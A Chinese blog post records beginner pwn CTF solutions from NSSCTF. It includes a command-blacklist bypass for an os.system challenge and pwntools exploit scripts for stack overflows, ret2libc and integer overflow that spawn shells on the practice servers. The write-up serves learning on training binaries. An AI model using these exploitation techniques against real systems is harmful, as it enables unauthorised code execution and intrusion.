NSSCTF pwn入门刷题记录

发布于 2022-08-28  595 次阅读


[SWPUCTF 2021 新生赛]nc签到

主要考察linux下的RCE,第一次见到这种题目
题目源码:

import os

art = '''

   ((  "####@@!!$$    ))
       #####@@!$$  ))
    ((  '####@!!$:
   ((  ,####@!!$:   ))
       .###@!!$:
       `##@@!$:
        `#@!!$
  !@#    `#@!$:       @#$
   #$     `#@!$:       !@!
            '@!$:
        '\   "!$: /'
           '\  '!: /'
             "\ : /"
  -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

很明显看出题目过滤了常用的一些指令,比如cat flag,ls等,甚至过滤了空格,必须进行RCE绕过,在此贴出别人大佬总结的空格绕过
Linux下绕过空格的方式总结
用l‘s’和c‘at’$IFS$9flag.txt即可进行绕过

[SWPUCTF 2021 新生赛]gift_pwn

先checksec:

发现没有开canary保护,最常规的栈溢出,用padding 覆盖rbp和栈后直接返回到题目给的后门函数gift就行,exp如下:

from pwn import *
p=remote("1.14.71.254",28727)
gift=0x0000000004005B6
payload=b'a'*0x18+p64(gift)
p.sendline(payload)
p.interactive()

[CISCN 2019华北]PWN1

先进行checksec

发现只开启了NX保护
用IDA 打开进入main函数

只需用栈溢出将v2修改为16进制的11.28125(0x41348000)即可
exp如下

from pwn import *
p=remote("1.14.71.254",28982)
payload=b'a'*(0x30-4)+p32(0x41348000)
p.sendline(payload)
p.interactive()

[SWPUCTF 2021 新生赛]whitegive_pwn

首先checksec

观察到有gets函数并且没有system函数,可以确定为ret2libc


脚本如下:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
pop_rdi=0x0000000000400763
p=remote("1.14.71.254",28370)
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
payload1=b'a'*(0x10+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload1)
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload2=b'a'*(0x10+8)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload2)
p.interactive()

[BJDCTF 2020]babystack

简单栈溢出,思路如gift_pwn
代码如下

from pwn import *
p=remote("1.14.71.254",28041)
payload=b'a'*24+p64(0x4006E6)
p.sendline(str(len(payload)))
#p.recvuntil("name?")
p.sendline(payload)
p.interactive()

[BJDCTF 2020]babystack2

利用了整数溢出,其余为简单的栈溢出
脚本如下:

from pwn import *
p=remote("1.14.71.254",28507)
p.sendline("-1")#int overflow
addr=0x400726
payload=b'a'*0x18+p64(addr)
p.sendline(payload)
p.interactive()

[watevrCTF 2019]Voting Machine 1

在IDA里面找到了后门函数,看到gets,鉴定为简单的栈溢出
脚本如下:

from pwn import *
context.log_level='debug'
backdoor=0x000000000400807
p=remote("1.14.71.254",28342)
p.recvuntil(b"Vote:")
payload=b'a'*(2+8)+p64(backdoor)
p.sendline(payload)
p.interactive()
届ける言葉を今は育ててる
最后更新于 2022-08-28